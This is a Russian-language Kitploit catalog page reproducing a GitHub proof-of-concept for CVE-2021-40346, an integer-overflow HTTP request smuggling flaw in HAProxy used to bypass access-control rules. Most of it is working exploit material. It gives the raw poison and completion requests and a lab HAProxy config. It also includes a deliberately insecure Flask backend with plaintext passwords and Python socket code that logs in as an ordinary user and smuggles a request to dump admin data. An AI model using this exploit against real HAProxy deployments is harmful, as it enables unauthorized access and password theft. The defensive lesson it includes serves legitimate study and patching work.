Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
Инструменты/GitHubGitHub/boianeduard/cve-2021-40346
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-40346: HTTP-контрабанда запросов HAProxy - обход ACL

Обзор

Этот проект демонстрирует CVE-2021-40346, критическую уязвимость целочисленного переполнения в HAProxy, которая позволяет проводить атаки HTTP-контрабанды запросов для обхода средств защиты.

Оценка CVSSv3: 7.5 (Высокая)

Авторы:

  1. Boian Eduard
  2. Borsos Matheas-Roland

Что такое CVE-2021-40346?

CVE-2021-40346 — это уязвимость целочисленного переполнения в логике разбора HTTP-заголовков HAProxy. Когда имя заголовка превышает 255 байт, значение длины переполняется из 8-битного поля, что заставляет HAProxy неправильно интерпретировать заголовок при пересылке запроса.

Как работает атака

Пошаговое описание

  1. Злоумышленник отправляет: Имя заголовка = "Content-Length0" + 255×'a' = 270 байт

  2. Фаза 1 (начальный разбор):

    • HAProxy считывает все 270 байт имени заголовка
    • Сохраняет name_length = 270 % 256 = 14 (8-битное переполнение)
Скачать инструмент
  • Бит переполнения устанавливает value_length = 1
  • Считывает легитимный заголовок Content-Length: 60 и интерпретирует его как длину тела
  • Считывает 60 байт как тело запроса (содержащее контрабандный запрос)
  • Фаза 2 (пересылка запроса):

    • Встречает блок переполненного заголовка
    • Считывает только первые 14 символов: "Content-Length"
    • Считывает 1 символ для значения (на позиции 14): "0"
    • Добавляет content-length: 0 к пересылаемому запросу
    • Игнорирует реальный заголовок Content-Length: 60 (согласно обычной логике)
  • Обработка бэкендом:

    • Получает content-length: 0 от HAProxy
    • Разбирает POST-запрос без тела
    • Рассматривает "тело" (контрабандный GET-запрос) как следующий HTTP-запрос
    • Обрабатывает контрабандный запрос, обходя все ACL HAProxy

  • Пример потока атаки

    Обход правил ACL для доступа к конечной точке администратора

    Рассмотрим HAProxy, настроенный с правилами ACL, которые ограничивают доступ к маршрутам администратора:

    root@kitploit:~
    http-request deny if { path_beg /users/admin }
    

    В нашем PoC мы используем сессию обычного пользователя (alice) для доступа к защищенному конечному пункту /users/admin, который должен быть доступен только администраторам.

    Вредоносный запрос (Request 1 - Poison):

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    Content-Length: 78
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Запрос, пересылаемый HAProxy:

    root@kitploit:~
    POST / HTTP/1.1
    host: 127.0.0.1:8080
    content-length: 0
    x-forwarded-for: 192.168.188.1
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Завершающий запрос (Request 2):

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Полный контрабандный запрос, обрабатываемый бэкендом:

    root@kitploit:~
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Результат:

    1. HAProxy пересылает POST / с content-length: 0 (ACL видит безопасный маршрут)
    2. Бэкенд обрабатывает POST / (без тела) и ожидает следующий запрос
    3. Бэкенд рассматривает неполный контрабандный GET /users/admin как ожидающий запрос
    4. Запрос 2 завершает контрабандный запрос
    5. Бэкенд обрабатывает GET /users/admin с сессией alice, обходя ACL HAProxy
    6. Ответ, содержащий секреты администратора, возвращается злоумышленнику

    Доказательство концепции

    Настройка тестового окружения

    Конфигурация HAProxy (haproxy.cfg)

    Уязвимый экземпляр HAProxy настроен с правилами ACL для защиты конечной точки администратора:

    root@kitploit:~
    ...
        # ACL to detect admin endpoint access
        acl is_admin_endpoint path_beg /users/admin
        
        # ACL to check for admin session cookie
        acl has_admin_session cook(session) -m beg admin_
        
        # Deny access to admin endpoint if user doesn't have admin session
        http-request deny if is_admin_endpoint !has_admin_session
    ...
    

    Ключевые моменты:

    • Защита ACL: /users/admin заблокирован, если cookie сессии не начинается с admin_
    • HTTP Keep-Alive (по умолчанию): HAProxy по умолчанию использует режим keep-alive, повторно используя TCP-соединения с бэкендом — это критично для атаки, так как позволяет отправлять несколько запросов по одному соединению
    • Контроль доступа на основе сессий: Обычным пользователям (сессия, начинающаяся с user_) доступ запрещен

    Сервер бэкенда (Flask)

    Сервер бэкенда имеет трех пользователей и конечную точку администратора:

    root@kitploit:~
    USERS = [
        {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
        {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
        {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
    ]
    
    @app.route('/login', methods=['POST'])
    def login():
        # ... authentication logic ...
        
        # Generate session token with role prefix
        prefix = 'admin_' if user['role'] == 'admin' else 'user_'
        token = prefix + secrets.token_hex(16)
        
        resp.set_cookie('session', token, httponly=True)
        return resp
    
    @app.route('/users/admin', methods=['GET', 'POST'])
    def users_admin():
        # Returns sensitive data including all user passwords
        rows = ''.join([
            f"{u['id']} | {u['username']} | {u['email']} | "
            f"{u['password']} | {u['role']}" 
            for u in USERS
        ])
        
        return f"ADMIN PANELAll users with passwords:{rows}"
    

    Модель безопасности:

    • Alice (обычный пользователь) получает сессию: user_a1b2c3d4...
    • Admin получает сессию: admin_a1b2c3d4...
    • HAProxy блокирует запросы alice к /users/admin
    • Неправильная конфигурация бэкенда: Flask-сервер слепо доверяет, что HAProxy уже применил контроль доступа, и не проверяет повторно токен сессии и не проверяет, является ли пользователь действительно администратором, перед предоставлением конфиденциальных данных
    • Уязвимость: HTTP-контрабанда обходит проверку ACL HAProxy, а бэкенд не имеет эшелонированной защиты

    Почему это работает:

    1. HAProxy видит внешний запрос POST / (разрешен)
    2. HAProxy проверяет ACL для POST / (нет ограничений администратора)
    3. HAProxy пересылает content-length: 0 (из-за ошибки переполнения)
    4. Бэкенд получает неполный запрос GET /users/admin
    5. Второй запрос завершает его, обходя проверку ACL HAProxy
    6. Бэкенд слепо обслуживает конечную точку администратора — он никогда не проверяет, является ли токен сессии токеном администратора
    7. Бэкенд напрямую обрабатывает GET /users/admin, раскрывая пароли

    Урок по эшелонированной защите: Это демонстрирует, почему бэкенды никогда не должны слепо доверять прокси. Даже при наличии ACL HAProxy бэкенд должен:

    • Самостоятельно анализировать и проверять токен сессии
    • Проверять роль/права пользователя перед предоставлением доступа к конфиденциальным конечным точкам
    • Реализовывать собственную логику авторизации (например, декоратор @require_admin)

    Исключительная зависимость от контроля доступа на уровне прокси создает единую точку отказа.

    Ключевые последовательности эксплойта

    PoC демонстрирует обход ACL HAProxy для доступа к /users/admin с использованием сессии обычного пользователя через четыре ключевых шага:

    1. Аутентификация как обычный пользователь

    root@kitploit:~
    # Login as alice (non-admin user)
    body = "username=alice&password=alice123"
    login = f"POST /login HTTP/1.1\r\n" \
            f"Host: {TARGET}:{PORT}\r\n" \
            f"Content-Type: application/x-www-form-urlencoded\r\n" \
            f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
    
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(login)
    time.sleep(0.5)
    
    # Receive response and extract session token
    resp = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    sock.close()
    
    session = resp.decode().split('session=')[1].split(';')[0]
    print(f"✓ Session: {session[:35]}...")
    

    Цель:

    • Получить легитимный токен сессии для обычного пользователя (alice)
    • Эта сессия обычно не имеет доступа к конечной точке /users/admin
    • Мы будем использовать эту сессию в контрабандном запросе для обхода ACL

    2. Создание контрабандного запроса (неполный)

    root@kitploit:~
    # Craft incomplete smuggled request targeting admin endpoint
    smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
    

    Критические детали:

    • Нацелен на защищенный маршрут /users/admin
    • Использует легитимную сессию пользователя (alice)
    • Заканчивается заголовком DUMMY: (без CRLF), чтобы запрос оставался неполным
    • Бэкенд будет ждать дополнительных данных перед обработкой

    3. Конструирование отравляющего запроса

    root@kitploit:~
    # Create overflow header (270 bytes = 14 after 8-bit overflow)
    overflow_header = "Content-Length0" + ("a" * 255)
    
    # Build complete poison request
    poison = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"{overflow_header}:\r\n"                    # Triggers integer overflow
        f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Real body length
        f"\r\n"
        f"{smuggled_incomplete}"                     # Smuggled request as "body"
    ).encode()
    

    Что происходит:

    • Content-Length0aaa... (270 байт) переполняется до 14 байт
    • HAProxy Фаза 2 считывает первые 14 символов: "Content-Length"
    • Значение на позиции 14: "0"
    • HAProxy пересылает: content-length: 0
    • Бэкенд получает контрабандный GET как ожидающий запрос

    4. Отправка запросов

    root@kitploit:~
    # Send poison request
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(poison)
    time.sleep(1)
    resp1 = sock.recv(4096)  # Receive POST / response
    
    # Send completion request (completes smuggled request)
    completion = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"\r\n"
    ).encode()
    
    sock.sendall(completion)
    time.sleep(2)
    
    # Capture the response of the smuggled request
    all_data = b""
    sock.settimeout(5)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            all_data += chunk
    except:
        pass
    sock.close()
    
    # Decode and check for success
    text = all_data.decode('utf-8', errors='ignore')
    
    print(f"\n[RESULTS] {len(all_data)} bytes received")
    print("="*70)
    print(text)
    print("="*70)
    
    if "admin_secret" in text:
        print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
        print("🔓 Stolen passwords visible in response above!")
    else:
        print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")
    

    Поток запросов:

    1. Отравляющий запрос отправлен → Бэкенд буферизует неполный GET /users/admin
    2. Завершающий запрос отправлен → Объединяется с контрабандным запросом, добавляя двойной CRLF
    3. Бэкенд обрабатывает → Полный GET /users/admin с сессией alice
    4. Ответ получен → Все данные получены и декодированы в UTF-8
    5. Обнаружение успеха → Проверяет наличие ключевого слова admin_secret в ответе